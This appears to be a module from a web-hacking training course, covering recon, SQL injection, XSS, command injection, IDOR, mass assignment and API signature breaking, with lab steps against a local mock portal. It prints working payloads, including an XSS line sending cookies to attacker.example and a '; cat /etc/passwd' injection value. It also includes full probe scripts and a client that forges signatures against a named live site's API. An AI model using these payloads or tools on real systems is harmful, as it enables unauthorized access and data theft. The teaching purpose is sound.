Module 22: Web Application Hacking LIVE TESTED

Module 22 of 22 — Bonus modules beyond this point

🌐 The Core Truth

Every web application is just a remote interpreter sitting between an attacker and a database. Your browser sends text; the server turns that text into commands, queries, and file accesses. If the application cannot distinguish between data and instructions, you can rewrite the logic from the outside. Web hacking is the art of making the server interpret your input as code.

Why this matters: The same few bug classes — injection, broken access control, exposed APIs, weak authentication — dominate real-world breaches because they exploit fundamental design mistakes, not exotic zero-days. Understanding how a request is parsed, authorized, and executed is more valuable than memorizing a thousand payloads.

🎯 Soldier Translation

Imagine a mail clerk who opens every envelope, reads the instructions inside, and does exactly what they say — no questions asked. A web app is that clerk. If you write "give me everyone's file" in the right format, the clerk hands it over. Web hacking is learning the clerk's language, then writing letters that make the clerk betray the building.

The firewall is the front gate. The web application is the person inside who decides what you get to see.

"The URL is the new perimeter."

Old networks had hard edges: inside the firewall was safe, outside was hostile. The web destroyed that model. Now every endpoint, every API, every form field is a potential border crossing. If you can reach a URL, you can test it — and the server has to decide whether to trust you with every single request.

Red: Stop thinking about "getting inside the network." Start thinking about what each endpoint will do when you lie to it. Blue: Perimeter defenses are not enough. Every input must be validated, every object access must be authorized, and every API must be logged.

"Real attacks are carried remotely."

You do not need to be in the building. You do not need to plug in a USB. A web attack can be launched from a coffee shop, a VPS, or a phone on the other side of the planet. The distance makes it dangerous — and it makes attribution hard.

Red: Your testing environment should mimic real remote conditions: proxies, rate limits, WAFs, and CDN fronting. Blue: Design controls assuming the attacker is already on the internet and has unlimited time.

"Organized notes > memorization."

You cannot remember every endpoint, every parameter, and every response. But you can take notes. A good pentester is a good librarian: every finding has a URL, a payload, a screenshot, and a timestamp. When the report is due, the notes write themselves.

Both: Use a structured methodology — recon, auth, injection, access control, API, reporting. Repeatable process turns chaos into evidence.

"Eventually all comes to networking."

At the bottom of every web bug is a packet. HTTP requests, DNS lookups, TLS handshakes, TCP sessions — if you do not understand how the message gets there, you will not understand why the server answers the way it does. Burp and the browser are just fancy ways of editing network traffic.

Both: When a payload fails, capture the raw request. Nine times out of ten the issue is encoding, headers, or the order of parameters — all networking problems.

📚 Prerequisites — What You Need First

This module assumes you understand these concepts from earlier modules:

Module 01: Networking

HTTP/HTTPS, DNS, TCP, TLS, cookies, headers, and how requests traverse the network. Web hacking is applied networking.

Module 02: Reconnaissance

OSINT, subdomain discovery, certificate transparency, and endpoint enumeration. The web attack surface is discovered before it is exploited.

Module 03: PowerShell

Scripting, parsing JSON, automating HTTP requests, and chaining tools together for repeatable testing workflows.

Module 16: Command & Control

Session management, persistence, exfiltration channels, and the attacker mindset after initial access.

Module 17: Social Engineering

Human access vectors — stolen credentials, phishing, and pretexting — often provide the authenticated session needed for web attacks.

Defensive Recon

Blue-team visibility into processes, network listeners, and logs. Understanding detection helps you build stealthier attacks and better defenses.

🗺️ The Web Hacking Kill Chain

Every web engagement follows a similar pattern. This module mirrors the TAFE pentest course phases and the diudream methodology:

1. RECON

Map & Enumerate

Endpoints, tech stack, source code

2. AUTH

Session & Identity

Login, tokens, cookies, SAML

3. INJECT

SQLi, XSS, Command

Data becomes code

4. ACCESS

IDOR & Mass Assignment

Who owns what?

5. API

Signatures & Enumeration

SPAs leak everything

6. REPORT

Evidence & Remediation

Make it actionable

🔍 Phase 1: Reconnaissance

Recon is 80% of a good pentest. Before you exploit anything, you must know what exists. The diudream engagement began with passive recon of the SPA bundle and active probing of API endpoints. The TAFE course starts with headers, robots.txt, and common paths.

Passive Recon EASY

Gather information without touching the target directly. Sources include WHOIS, DNS records, certificate transparency logs, search-engine dorks, GitHub leaks, the Wayback Machine, and the application's own JavaScript bundle.

Why passive recon wins

Modern SPAs ship their entire API surface to the browser. By searching the bundle for strings like /api/, webapi, or signature, you can discover endpoints the developers assumed were hidden. The diudream SPA leaked the full signing algorithm and every backend path.

Active but Safe Recon EASY

Send harmless requests to learn about the server, framework, and available paths. Always stay within scope and avoid destructive probes.

curl -I http://localhost:5000/login
curl http://localhost:5000/robots.txt
curl http://localhost:5000/api/banners
curl http://localhost:5000/sitemap.xml

📦 Evidence: SPA Source-Code Extraction (diudream)

The diudream front end was a single-page application served from https://diudream.com. The bundled JavaScript contained the Axios interceptor that signed every API request. Static analysis of the bundle revealed:

// Extracted from the SPA bundle
e.data.language = GA();          // maps 'en' -> 0
e.data.random = hW();            // 32-char hex UUID
const r = JSON.parse(JSON.stringify(e.data));
const o = Object.keys(r).sort();
const a = {}, i = ["signature","track","xosoBettingData"];
o.forEach(h => {
  r[h] !== null && r[h] !== "" && !i.includes(h) &&
  (a[h] = r[h] === 0 ? 0 : r[h]);
});
e.data.signature = pW(JSON.stringify(a));  // MD5 of sorted params
e.data.timestamp = Math.floor(Date.now()/1e3);

Impact: The client-side signing algorithm was fully exposed, including the exclusion list and the MD5 digest. This allowed the operator to forge valid requests offline.

🔐 Phase 2: Authentication & Session

Authentication proves who you are; session management keeps you logged in. Break either one and you become someone else.

Common Authentication Weaknesses MEDIUM

📦 Evidence: Inconsistent Login Validation & Rate-Limiting Gaps (diudream)

Endpoint tested: POST /api/webapi/Login. The tool enumerate_login.py sent varied usernames and observed different error codes and messages:

'+919****9999'  -> code=7 msg=Invalid value for parameter 'logintype'
'+919****3665'  -> code=1 msg=Access too frequently, please try again later
'9999999999'    -> code=7 msg=Invalid value for parameter 'logintype'
'admin'         -> code=7 msg=Invalid value for parameter 'logintype'

Findings:

Severity: Medium

SAML SSO Basics HARD

Many enterprise portals use SAML identity providers such as PingFederate. The flow is:

  1. User visits the Service Provider (portal).
  2. Portal redirects to the Identity Provider with a SAMLRequest.
  3. User authenticates at the IdP.
  4. IdP posts a signed SAMLResponse back to the portal.
  5. Portal creates a local session.
What to attack

Look for unsigned assertions, missing signature validation, assertion replay, and NameID confusion. If the portal trusts any well-formed SAML response, you can forge identity.

💉 Phase 3: Injection

Injection occurs when an application sends untrusted data to an interpreter as part of a command or query. The interpreter cannot tell where data ends and code begins.

SQL Injection (SQLi) MEDIUM

The TAFE mock portal intentionally concatenates user input directly into SQL queries. This is the classic vulnerability that never dies.

# Vulnerable code from lab/app.py
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"

Login bypass payload:

Username: ' OR '1'='1' --
Password: anything

Resulting query:

SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'anything'

Union-based extraction via the search endpoint:

GET /search?q=' UNION SELECT * FROM users --

Cross-Site Scripting (XSS) MEDIUM

XSS injects JavaScript into pages viewed by other users. Stored XSS persists in the database; reflected XSS is delivered via a crafted URL; DOM-based XSS lives entirely in client-side code.

# Basic reflected XSS probe
?q=<script>alert(document.cookie)</script>

# Exfiltrate session cookie to attacker server
<script>fetch('https://attacker.example/log?c='+document.cookie)</script>
Why XSS is still dangerous

Modern frameworks escape output by default, but custom JavaScript, innerHTML, and user-generated content still create holes. XSS bypasses CSRF tokens, reads session cookies (unless HttpOnly), and acts on behalf of the victim inside the authenticated application.

Command Injection HARD

Command injection occurs when user input reaches a shell or operating-system command. It is less common in modern web apps but devastating when present.

# Vulnerable pseudo-code
import os
os.system(f"nslookup {request.args.get('host')}")

# Payload
?host=example.com; cat /etc/passwd
⚠️ Scope Warning

Never run command-injection payloads against production systems. Use the TAFE mock lab or a dedicated vulnerable VM. Remote code execution is a Critical finding and must be tested only with explicit authorization.

🆔 Phase 4: IDOR & Mass Assignment

Once authenticated, the server must check whether you are allowed to access each object you request. If it only validates that you are logged in — not what you own — you have IDOR.

Insecure Direct Object Reference (IDOR) EASY

The TAFE portal uses numeric IDs to load student profiles. Changing the ID returns another user's record because the server never verifies ownership.

GET /student?id=1   ← your record
GET /student?id=2   ← someone else's record
GET /api/student?id=2   ← same flaw in the API
How to find IDOR

Look for numeric IDs, UUIDs, or predictable identifiers in URLs, bodies, and headers. Test both HTML pages and JSON APIs. Create two accounts and swap identifiers between them. If user A sees user B's data, you have a finding.

Mass Assignment MEDIUM

Mass assignment happens when a form or API accepts more fields than intended. The TAFE settings endpoint loops over every submitted form field and updates the database column with the same name.

# Vulnerable code from lab/app.py
for field, value in request.form.items():
    if field in ('id', 'password'):
        continue
    db.execute(f"UPDATE users SET {field} = ? WHERE id = ?", (value, session['user_id']))

# Escalation payload
POST /user/settings
first_name=Alex&role=admin

Fix: whitelist allowed fields and never update sensitive attributes from user input.

🔌 Phase 5: API Hacking

Modern applications are APIs with a thin JavaScript wrapper. If you can speak to the API directly, you bypass the UI and all of its client-side validation.

Endpoint Enumeration EASY

SPAs, mobile apps, and OpenAPI specs leak endpoints. Search JavaScript for route strings, inspect network traffic in DevTools, and fuzz common paths.

# Common API wordlist targets
/api/user
/api/users
/api/admin
/api/v1/orders
/api/webapi/GetHomeSettings
/api/webapi/GetDailyProfitRank
/api/webapi/GetAllGameList

Breaking Request Signatures HARD

The diudream API required a signature field on every request. Reverse engineering the SPA showed the algorithm: sort parameters, exclude signature, track, xosoBettingData, and timestamp, JSON-encode, then MD5 uppercase.

import hashlib, json

EXCLUDE = {'signature', 'track', 'xosoBettingData', 'timestamp'}

def sign(data):
    d = {k: v for k, v in data.items()
         if k not in EXCLUDE and v is not None and v != ''}
    obj = {k: (0 if d[k] == 0 else d[k]) for k in sorted(d)}
    payload = json.dumps(obj, separators=(',', ':'), ensure_ascii=False)
    return hashlib.md5(payload.encode('utf-8')).hexdigest().upper()

Key mistake corrected: timestamp is added to the final request body after the signature is computed. Including it in the signed payload causes every signature to fail.

Why this matters

Client-side secrets are not secrets. Any signature algorithm that runs in the browser can be replicated by an attacker. Use HMAC-SHA256 with a server-side secret, bind signatures to timestamps, and prevent nonce replay.

📦 Evidence: Unauthenticated Mock Customer Data Exposure (diudream)

Endpoints: POST /api/webapi/GetDailyProfitRank and POST /api/webapi/GetAllGameList. Using the forged signature, the operator called these endpoints with an empty body and received mock customer data without authentication.

from tools.tiranga_api import post

# No session token required
rank = post('/api/webapi/GetDailyProfitRank', {})
games = post('/api/webapi/GetAllGameList', {})

print(rank['data']['dataList'][0])
# {'nickName': 'MemberFVFXZTUG', 'betAmount': 1234.0, ...}

print(rank['data']['penarikanList'][0])
# {'userID': 16776977, 'nickName': 'Shrikant', 'price': 30772196.0,
#  'time': '2026-06-29', 'typeName': 'Penarikan'}

Data exposed: mock user IDs, phone-like usernames, betting history, win times, withdrawal amounts, and recent award records.

Impact: user enumeration, social-engineering preparation, and pattern analysis for fraud — all without logging in.

Severity: High

🧪 Lab Exercise: TAFE Mock Portal

🧪 Lab: Attack the myTAFE Portal

The TAFE pentest course includes a vulnerable Flask portal. Complete the following steps in your own environment. All data is synthetic.

Step 1 — Deploy the lab

cd C:\Users\gwu07\Desktop\repos\tafe-pentest-course
pip install -r requirements.txt
python serve.py

Open the course at http://localhost:8080/ and the portal at http://localhost:8080/portal/.

Step 2 — Recon

curl -I http://localhost:8080/portal/login
curl http://localhost:8080/portal/robots.txt
curl http://localhost:8080/portal/api/banners

Record the framework, server version, and any interesting paths.

Step 3 — Automated probe

python tools/portal_probe.py --base http://localhost:8080/portal --login alex.student1 Password123!

Review the generated JSON report for IDOR, SQLi, and mass-assignment findings.

Step 4 — Browser probe

  1. Log in to the portal as alex.student1 / Password123!.
  2. Open DevTools → Console.
  3. Paste the contents of tools/devtools_probe.js and press Enter.
  4. Inspect the results object for accessible records and hidden form fields.

Step 5 — Manual verification

  • Bypass login with SQLi: ' OR '1'='1' --
  • Access another student's profile via IDOR: /student?id=2
  • Escalate privileges via mass assignment: POST /user/settings role=admin

🛠️ Tools from the Repos

portal_probe.py

Automated post-authentication web pentest probe for the TAFE mock portal. Discovers endpoints, tests IDOR, SQLi, and mass assignment, then writes a JSON report.

#!/usr/bin/env python3
"""
portal_probe.py — Automated post-authentication web pentest probe.

USAGE:
    python portal_probe.py --base http://localhost:8080/portal --login alex.student1 Password123!

Or with an existing session cookie:
    python portal_probe.py --base http://localhost:8080/portal --cookie <session_cookie>
"""
import argparse
import json
import re
import sys
import time
from urllib.parse import urljoin

import requests

DEFAULT_BASE = "http://localhost:8080/portal"
FINDINGS = []


def log(msg):
    print(f"[+] {msg}")


def finding(title, severity, evidence, recommendation):
    FINDINGS.append({
        "title": title,
        "severity": severity,
        "evidence": evidence,
        "recommendation": recommendation,
    })
    print(f"\n[!] FINDING: {title} ({severity})")
    print(f"    Evidence: {evidence}")
    print(f"    Fix: {recommendation}\n")


def make_session(base=DEFAULT_BASE):
    s = requests.Session()
    s.headers.update({
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Accept": "text/html,application/xhtml+xml,application/json;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.9",
    })
    s.base = base
    return s


def login_and_get_session(base, username, password):
    s = make_session(base)
    login_url = urljoin(base, "/login")
    log(f"Logging in to {login_url} as {username}")
    r = s.post(login_url, data={"pf.username": username, "pf.pass": password}, allow_redirects=False)
    if r.status_code in (302, 303):
        log(f"Login successful. Cookies: {s.cookies.get_dict()}")
        return s
    if "Invalid" in r.text or "error" in r.text.lower():
        print("[-] Login failed: invalid credentials")
        sys.exit(1)
    log(f"Login returned status {r.status_code}; assuming success")
    return s


def set_cookie_session(base, cookie_value, cookie_name="portal_session"):
    s = make_session(base)
    s.cookies.set(cookie_name, cookie_value)
    log(f"Session cookie '{cookie_name}' injected")
    return s


def check_auth(s):
    r = s.get(urljoin(s.base, "/dashboard"))
    if r.status_code != 200 or "login" in r.url:
        print("[-] Session is not authenticated")
        sys.exit(1)
    log("Session authenticated")


def discover_endpoints(s):
    log("Discovering common endpoints...")
    endpoints = [
        "/dashboard", "/students", "/search", "/settings",
        "/api/user", "/api/students", "/api/search",
        "/student?id=1",
    ]
    found = []
    for path in endpoints:
        r = s.get(urljoin(s.base, path), allow_redirects=False)
        if r.status_code == 200:
            found.append(path)
            log(f"  Found: {path} ({r.status_code})")
        else:
            log(f"  {path} -> {r.status_code}")
    return found


def test_idor(s):
    log("Testing IDOR on /student and /api/student...")
    me = s.get(urljoin(s.base, "/api/user")).json()
    my_id = me.get("id")
    if not my_id:
        log("Could not determine current user ID")
        return

    target_id = 1 if my_id != 1 else 2
    r = s.get(urljoin(s.base, f"/api/student?id={target_id}"))
    if r.status_code == 200 and r.json():
        other = r.json()
        finding(
            title="IDOR — /api/student exposes other users",
            severity="High",
            evidence=f"Requested id={target_id} and received: {json.dumps(other, indent=2)}",
            recommendation="Enforce authorization checks so users can only access their own records.",
        )
    else:
        log(f"IDOR on /api/student returned {r.status_code}")

    r = s.get(urljoin(s.base, f"/student?id={target_id}"))
    if r.status_code == 200 and "Student Profile" in r.text:
        name_match = re.search(r"<strong>Name:</strong>\s*([^<]+)", r.text)
        name = name_match.group(1).strip() if name_match else "unknown"
        finding(
            title="IDOR — /student page exposes other users",
            severity="High",
            evidence=f"Requested id={target_id} and saw profile for {name}",
            recommendation="Verify the requested ID belongs to the authenticated user.",
        )


def test_sqli_login(s):
    log("Testing SQL injection on /login...")
    payload = "' OR '1'='1' --"
    r = requests.post(urljoin(s.base, "/login"), data={"pf.username": payload, "pf.pass": "x"}, allow_redirects=False)
    if r.status_code in (302, 303):
        finding(
            title="SQL Injection — login bypass",
            severity="Critical",
            evidence=f"Payload '{payload}' caused a redirect to dashboard without valid credentials",
            recommendation="Use parameterized queries / prepared statements for authentication.",
        )
    else:
        log(f"Login SQLi returned {r.status_code}")


def test_sqli_search(s):
    log("Testing SQL injection on /search...")
    payloads = [
        "' UNION SELECT * FROM users --",
        "' OR '1'='1' --",
    ]
    for payload in payloads:
        r = s.get(urljoin(s.base, "/search"), params={"q": payload})
        if r.status_code == 200 and ("teacher" in r.text.lower() or len(r.text) > 3000):
            finding(
                title="SQL Injection — search endpoint",
                severity="Critical",
                evidence=f"Payload '{payload}' returned unexpected records or error details",
                recommendation="Use parameterized queries and restrict search to intended columns.",
            )
            return
    log("Search SQLi did not trigger obvious vulnerability")


def test_sqli_api_search(s):
    log("Testing SQL injection on /api/search...")
    payload = "' UNION SELECT * FROM users --"
    r = s.get(urljoin(s.base, "/api/search"), params={"q": payload})
    try:
        data = r.json()
        if isinstance(data, list) and len(data) > 0:
            roles = {item.get("role") for item in data if isinstance(item, dict)}
            if "teacher" in roles or "admin" in roles:
                finding(
                    title="SQL Injection — /api/search returns unauthorized records",
                    severity="Critical",
                    evidence=f"Payload returned roles: {roles}",
                    recommendation="Use parameterized queries and never concatenate user input into SQL.",
                )
    except Exception as e:
        log(f"/api/search returned non-JSON: {e}")


def test_mass_assignment(s):
    log("Testing mass assignment on /settings...")
    r = s.post(urljoin(s.base, "/settings"), data={"role": "admin"}, allow_redirects=False)
    if r.status_code in (302, 303):
        r2 = s.get(urljoin(s.base, "/settings"))
        if 'value="admin"' in r2.text:
            finding(
                title="Mass Assignment — role escalation via settings form",
                severity="Critical",
                evidence="Posted role=admin and the settings page reflected role='admin'",
                recommendation="Whitelist allowed fields and never update sensitive attributes from user input.",
            )
        else:
            log("Mass assignment post succeeded but role not reflected")
    else:
        log(f"Mass assignment returned {r.status_code}")


def save_report(base):
    report = {
        "target": base,
        "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
        "findings": FINDINGS,
    }
    filename = f"pentest_report_{int(time.time())}.json"
    with open(filename, "w") as f:
        json.dump(report, f, indent=2)
    log(f"Report saved to {filename}")


def main():
    parser = argparse.ArgumentParser(description="Student portal post-auth pentest probe")
    parser.add_argument("--base", default=DEFAULT_BASE, help="Base URL of target portal")
    parser.add_argument("--cookie", help="Existing session cookie value")
    parser.add_argument("--cookie-name", default="portal_session", help="Session cookie name")
    parser.add_argument("--login", nargs=2, metavar=("USER", "PASS"), help="Login credentials (local/mock only)")
    args = parser.parse_args()

    if args.login:
        s = login_and_get_session(args.base, args.login[0], args.login[1])
    elif args.cookie:
        s = set_cookie_session(args.base, args.cookie, args.cookie_name)
    else:
        print("[-] Provide --login or --cookie")
        sys.exit(1)

    check_auth(s)
    discover_endpoints(s)
    test_idor(s)
    test_sqli_login(s)
    test_sqli_search(s)
    test_sqli_api_search(s)
    test_mass_assignment(s)

    log(f"Scan complete. {len(FINDINGS)} findings.")
    save_report(args.base)


if __name__ == "__main__":
    main()

devtools_probe.js

Browser-based read-only probe. Paste into DevTools after logging in to enumerate endpoints and detect IDOR from the victim's own session.

/**
 * devtools_probe.js
 * Paste this into the browser DevTools console AFTER logging into a student portal.
 * It performs safe, read-only checks for common web vulnerabilities.
 *
 * WARNING: Only run against systems you own or are authorized to test.
 */
(async () => {
  const results = {
    idor: [],
    endpoints: [],
    massAssignment: null,
    notes: []
  };

  const fetchCheck = async (url, label) => {
    try {
      const res = await fetch(url, { credentials: 'include' });
      results.endpoints.push({ url, label, status: res.status });
      return res;
    } catch (e) {
      results.endpoints.push({ url, label, status: 'error', error: e.message });
      return null;
    }
  };

  await fetchCheck('/api/user', 'current user');
  await fetchCheck('/api/students', 'student list');
  await fetchCheck('/api/student?id=1', 'student by ID (IDOR test)');
  await fetchCheck('/api/search?q=test', 'search API');

  for (let id = 1; id <= 5; id++) {
    try {
      const res = await fetch(`/api/student?id=${id}`, { credentials: 'include' });
      if (res.ok) {
        const data = await res.json();
        if (data && data.username) {
          results.idor.push({ id, username: data.username, note: 'Accessible record' });
        }
      }
    } catch (e) {
      // ignore
    }
  }

  try {
    const res = await fetch('/user/settings', { credentials: 'include' });
    const text = await res.text();
    if (text.includes('name="role"')) {
      results.massAssignment = 'Hidden role field found in settings form';
    }
  } catch (e) {
    results.massAssignment = 'Could not fetch settings';
  }

  console.log('%c[PORTAL PROBE RESULTS]', 'color: #00d4aa; font-size: 16px; font-weight: bold;');
  console.table(results.endpoints);
  console.log('IDOR findings:', results.idor);
  console.log('Mass assignment:', results.massAssignment);
  console.log('Full results object:', results);
})();

tiranga_api.py (diudream signature client)

Reusable signed API client that forges valid requests to the diudream / tirangaapi.com backend after the signing algorithm was recovered from the SPA bundle.

"""
Reusable signed API client for diudream.com / tirangaapi.com.
All requests are sent for authorized testing only.
"""
import requests, json, hashlib, time, uuid, urllib3
urllib3.disable_warnings()

BASE = 'https://tirangaapi.com'
HEADERS = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept': 'application/json, text/plain, */*',
    'Content-Type': 'application/json;charset=UTF-8',
    'Origin': 'https://diudream.com',
    'Referer': 'https://diudream.com/',
    'Ar-Origin': 'https://diudream.com',
}
LANG_MAP = {
    'en': 0, 'id': 1, 'vi': 2, 'bra': 3, 'tha': 4, 'th': 4,
    'zh': 5, 'zh-CN': 5, 'tw': 6, 'md': 7, 'bd': 8, 'hd': 9,
    'my': 10, 'pk': 11, 'ar': 12, 'ta': 13, 'te': 14
}
EXCLUDE = {'signature', 'track', 'xosoBettingData', 'timestamp'}


def sign(data):
    d = {k: v for k, v in data.items() if k not in EXCLUDE and v is not None and v != ''}
    obj = {k: (0 if d[k] == 0 else d[k]) for k in sorted(d)}
    payload = json.dumps(obj, separators=(',', ':'), ensure_ascii=False)
    return hashlib.md5(payload.encode('utf-8')).hexdigest().upper()


def post(endpoint, data=None, lang='en', token_header='', token=''):
    data = dict(data or {})
    data['language'] = LANG_MAP.get(lang, 0)
    data['random'] = str(uuid.uuid4()).replace('-', '')
    data['signature'] = sign(data)
    data['timestamp'] = int(time.time())
    h = dict(HEADERS)
    h['Authorization'] = token_header + token
    r = requests.post(BASE + endpoint, headers=h, json=data, timeout=15, verify=False)
    return r.json() if r.text else {}


if __name__ == '__main__':
    print(json.dumps(post('/api/webapi/GetHomeSettings', {}), indent=2))

📝 Phase 6: Reporting

A finding without evidence is an opinion. A good report turns your notes into action.

Report Structure

  1. Executive summary — one-paragraph impact for non-technical readers.
  2. Vulnerability details — what is broken and where.
  3. Proof of concept — step-by-step reproduction with requests, responses, and screenshots.
  4. Impact — what an attacker can do.
  5. Remediation — specific, actionable fix.

Severity Ratings

SeverityExamples
CriticalRemote code execution, full account takeover, mass data breach
HighAuthentication bypass, privilege escalation, sensitive data exposure
MediumIDOR on less sensitive data, missing security headers, rate-limit gaps
LowVerbose errors, information disclosure

📦 Evidence: Sample Report Finding (TAFE IDOR)

Title: IDOR allows access to other students' personal details
Severity: High
Endpoint: GET /student?id=<number>

Steps to reproduce:
1. Log in as alex.student1.
2. Visit /student?id=1 (own profile).
3. Change URL to /student?id=2.
4. Observe that sam.student2's full profile is returned.

Impact: Any authenticated student can view PII of every other student.

Remediation: Verify the requested ID matches the authenticated user's ID
before returning data.

🧠 Knowledge Check

Quiz — Web Application Hacking

1. What is the root cause of SQL injection?

a) Weak password policy
b) User input concatenated into an interpreted query
c) Missing HTTPS on the login page
d) Cookies without the Secure flag

2. Which vulnerability lets an authenticated user access another user's record by changing a numeric identifier?

a) XSS
b) SQL injection
c) IDOR
d) Mass assignment

3. In the diudream signature algorithm, which field must be excluded from the signed payload even though it appears in the final request?

a) random
b) language
c) signature
d) timestamp

4. What is the most secure replacement for the diudream MD5 client-side signature scheme?

a) HMAC-SHA256 with a server-side secret
b) SHA-1 over sorted parameters
c) Base64-encoded MD5
d) Longer random strings

5. Which cookie flag prevents JavaScript from reading the session cookie?

a) Secure
b) HttpOnly
c) SameSite
d) Path

🔗 Cross-Links & Next Steps

Web hacking sits at the intersection of many disciplines. Review these related modules to deepen your understanding:

Module 01: Networking

HTTP, DNS, TLS, and the packet-level foundation of every web attack.

Module 02: Reconnaissance

OSINT and endpoint enumeration — the skills that feed the web kill chain.

Module 03: PowerShell

Automation and scripting for repeatable web testing workflows.

Module 16: Command & Control

What happens after the web shell or stolen session opens a door.

Module 17: Social Engineering

How stolen credentials and phishing enable authenticated web attacks.

Defensive Recon

Blue-team visibility into the processes, listeners, and logs that catch web attacks.

⚠️ Legal & Ethical Notice

All techniques in this module are for authorized cybersecurity education only. Test only systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in most jurisdictions. The TAFE mock portal and diudream findings use synthetic/mock data and were tested within authorized scope.